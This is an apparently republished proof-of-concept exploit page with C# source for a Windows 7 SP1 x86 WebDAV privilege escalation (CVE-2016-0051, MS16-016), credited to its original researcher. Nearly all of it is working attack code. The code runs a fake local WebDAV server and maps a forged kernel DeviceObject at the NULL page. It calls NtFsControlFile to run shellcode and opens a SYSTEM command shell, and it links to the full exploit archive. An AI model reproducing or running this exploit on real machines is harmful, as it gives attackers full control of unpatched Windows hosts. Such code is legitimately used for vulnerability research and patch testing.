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Microsoft Windows 7 SP1 (x86) - 'WebDAV' Privilege Escalation (MS16-016) (1)
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/* Source: https://github.com/koczkatamas/CVE-2016-0051 Proof-of-concept BSoD (Blue Screen of Death) code for CVE-2016-0051 (MS-016). Full Proof of Concept: https://github.com/koczkatamas/CVE-2016-0051/archive/master.zip https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39432-1.zip Elevation of Privilege (SYSTEM) exploit for CVE-2016-0051 (MS16-016) for Windows 7 SP1 x86 (build 7601) Creator: Tamás Koczka (@koczkatamas - https://twitter.com/koczkatamas) Original source: https://github.com/koczkatamas/CVE-2016-0051 */ using System; using System.Diagnostics; using System.IO; using System.Linq; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Security.Principal; using System.Text; using System.Threading; namespace EoP { class Program { #region Fake WebDAV server static void StartFakeWebDavServer(int port) { new Thread(() => { var server = new TcpListener(IPAddress.Loopback, port); server.Start(); while (true) { using (var client = server.AcceptTcpClient()) using (var stream = client.GetStream()) using (var reader = new StreamReader(stream, Encoding.GetEncoding("iso-8859-1"))) using (var writer = new StreamWriter(stream, Encoding.GetEncoding("iso-8859-1")) { AutoFlush = true }) { Func<string> rl = () => { var line = reader.ReadLine(); //Console.WriteLine("< " + line); return line; }; Action<string> wl = outData => { //Console.WriteLine(String.Join("\n", outData.Split('\n').Select(x => "> " + x))); writer.Write(outData); }; var hdrLine = rl(); Console.WriteLine("[*] Request: " + hdrLine); var header = hdrLine.Split(' '); while (!string.IsNullOrEmpty(rl())) { } if (header[0] == "OPTIONS") wl("HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n"); else if (header[0] == "PROPFIND") { var body = String.Format(@" <?xml version=""1.0"" encoding=""UTF-8""?> <D:multistatus xmlns:D=""DAV:""> <D:response> <D:href>{0}</D:href> <D:propstat> <D:prop> <D:creationdate>{1:s}Z</D:creationdate> <D:getcontentlength>{3}</D:getcontentlength> <D:getcontenttype>{4}</D:getcontenttype> <D:getetag>{5}</D:getetag> <D:getlastmodified>{6:R}</D:getlastmodified> <D:resourcetype>{8}</D:resourcetype> <D:supportedlock></D:supportedlock> <D:ishidden>{7}</D:ishidden> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus>", header[1], DateTime.UtcNow.ToUniversalTime(), "", "0", "", "", DateTime.UtcNow.ToUniversalTime(), 0, header[1].Contains("file") ? "" : "<D:collection></D:collection>").Trim(); wl("HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: " + body.Length + "\r\nContent-Type: text/xml\r\n\r\n" + body); } else wl("HTTP/1.1 500 Internal Server Error\r\n\r\n"); //Console.WriteLine(" =============== END REQUEST =============== "); } } }) { IsBackground = true, Name = "WebDAV server thread" }.Start(); } #endregion #region WinAPI [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)] public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr securityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile); [StructLayout(LayoutKind.Sequential)] private class NETRESOURCE { public uint dwScope = 0; public uint dwType = 0; public uint dwDisplayType = 0; public uint dwUsage = 0; public string lpLocalName = null; public string lpRemoteName = null; public string lpComment = null; public string lpProvider = null; } [DllImport("mpr.dll")] private static extern int WNetAddConnection2(NETRESOURCE lpNetResource, string lpPassword, string lpUsername, int dwFlags); // based on http://www.codeproject.com/Articles/21974/Windows-NT-Native-API-Wrapper-Library public enum PageProtection : uint { NOACCESS = 0x01, READONLY = 0x02, READWRITE = 0x04, WRITECOPY = 0x08, EXECUTE = 0x10, EXECUTE_READ = 0x20, EXECUTE_READWRITE = 0x40, EXECUTE_WRITECOPY = 0x80, GUARD = 0x100, NOCACHE = 0x200, WRITECOMBINE = 0x400 } [Flags] public enum MemoryAllocationType : uint { COMMIT = 0x1000, RESERVE = 0x2000, FREE = 0x10000, PRIVATE = 0x20000, MAPPED = 0x40000, RESET = 0x80000, TOP_DOWN = 0x100000, WRITE_WATCH = 0x200000, ROTATE = 0x800000, LARGE_PAGES = 0x20000000, PHYSICAL = 0x400000, FOUR_MB_PAGES = 0x80000000 } [DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false)] public static extern NtStatus NtAllocateVirtualMemory([In] IntPtr processHandle, [In, Out] ref IntPtr baseAddress, [In] uint zeroBits, [In, Out] ref UIntPtr regionSize, [In] MemoryAllocationType allocationType, [In] PageProtection protect); public enum FileOpenInformation { Superceded = 0x00000000, Opened = 0x00000001, Created = 0x00000002, Overwritten = 0x00000003, Exists = 0x00000004, DoesNotExist = 0x00000005 } internal enum NtStatus : uint { SUCCESS = 0x00000000, INVALID_PARAMETER_1 = 0xC00000EF, INVALID_PARAMETER_2 = 0xC00000F0, INVALID_PARAMETER_3 = 0xC00000F1, INVALID_PARAMETER_4 = 0xC00000F2, // don't care } internal struct IoStatusBlock { public NtStatus status; public InformationUnion Information; [StructLayout(LayoutKind.Explicit)] public struct InformationUnion { [FieldOffset(0)] public FileOpenInformation FileOpenInformation; [FieldOffset(0)] public uint BytesWritten; [FieldOffset(0)] public uint BytesRead; } } [DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false, ExactSpelling = true, PreserveSig = true)] public static extern NtStatus NtFsControlFile([In] IntPtr fileHandle, [In, Optional] IntPtr Event, [In, Optional] IntPtr apcRoutine, [In, Optional] IntPtr apcContext, [Out] out IoStatusBlock ioStatusBlock, [In] uint fsControlCode, [In, Optional] IntPtr inputBuffer, [In] uint inputBufferLength, [Out, Optional] IntPtr outputBuffer, [In] uint outputBufferLength); [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate int LoadAndGetKernelBasePtr(); [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)] static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName); [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] static extern IntPtr GetProcAddress(IntPtr hModule, string procName); #endregion private static byte[] il(params uint[] inp) { return inp.SelectMany(BitConverter.GetBytes).ToArray(); } private static byte[] z(int c) { return rep(0, c); } private static byte[] rep(byte b, int c) { return Enumerable.Repeat(b, c).ToArray(); } private static byte[] fl(byte[][] inp) { return inp.SelectMany(x => x).ToArray(); } public static void Main(string[] args) { var shellcodeDll = LoadLibrary("shellcode.dll"); var shellcodeFunc = GetProcAddress(shellcodeDll, "_shellcode@8"); var loadAndGetKernelBaseFunc = GetProcAddress(shellcodeDll, "_LoadAndGetKernelBase@0"); var loadAndGetKernelBase = (LoadAndGetKernelBasePtr)Marshal.GetDelegateForFunctionPointer(loadAndGetKernelBaseFunc, typeof(LoadAndGetKernelBasePtr)); var loadResult = loadAndGetKernelBase(); Console.WriteLine($"[*] LoadAndGetKernelBase result = {loadResult}"); var addr = new IntPtr(0x1000); var size = new UIntPtr(0x4000); var result = NtAllocateVirtualMemory(new IntPtr(-1), ref addr, 0, ref size, MemoryAllocationType.RESERVE | MemoryAllocationType.COMMIT, PageProtection.READWRITE); Console.WriteLine($"[*] NtAllocateVirtualMemory result = {result}, addr = {addr}, size = {size}"); if (result != NtStatus.SUCCESS || loadResult != 0) Console.WriteLine("[-] Fail... so sad :("); else { Console.WriteLine("[*] Creating fake DeviceObject, DriverObject, etc structures..."); var payload = fl(new[] { z(8), /* [0x8]DriverObject=0 */ il(0), z(0x30 - 8 - 4), /* [0x30]StackSize=256 */ il(0x10, 0), z(13 * 4), il((uint)shellcodeFunc.ToInt32()) }); Marshal.Copy(payload, 1, new IntPtr(1), payload.Length - 1); var p = new Random().Next(1024, 65535); Console.WriteLine("[*] Starting fake webdav server..."); StartFakeWebDavServer(p); Console.WriteLine("[*] Calling WNetAddConnection2..."); var addConnectionResult = WNetAddConnection2(new NETRESOURCE { lpRemoteName = $@"\\127.0.0.1@{p}\folder\" }, null, null, 0); Console.WriteLine("[*] WNetAddConnection2 = " + addConnectionResult); var fileHandle = CreateFile($@"\\127.0.0.1@{p}\folder\file", 0x80, 7, IntPtr.Zero, 3, 0, IntPtr.Zero); Console.WriteLine($"[*] CreateFile result = {fileHandle}"); IoStatusBlock ioStatusBlock; var inputLen = 24; var inputPtr = Marshal.AllocHGlobal(inputLen); var outputLen = 4; var outputPtr = Marshal.AllocHGlobal(outputLen); var controlResult = NtFsControlFile(fileHandle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out ioStatusBlock, 0x900DBu, inputPtr, (uint)inputLen, outputPtr, (uint)outputLen); Console.WriteLine($"[*] NtFsControlFile result = {controlResult}"); var identity = WindowsIdentity.GetCurrent(); if (identity?.IsSystem == true) { Console.WriteLine("[+] Got SYSTEM! Spawning a shell..."); Process.Start("cmd"); } else Console.WriteLine($"[-] Something went wrong, looks like we are not SYSTEM :(, only {identity?.Name}..."); } Console.WriteLine(""); Console.WriteLine("Press ENTER to exit."); Console.ReadLine(); } } } # 0day.today [2024-12-26] #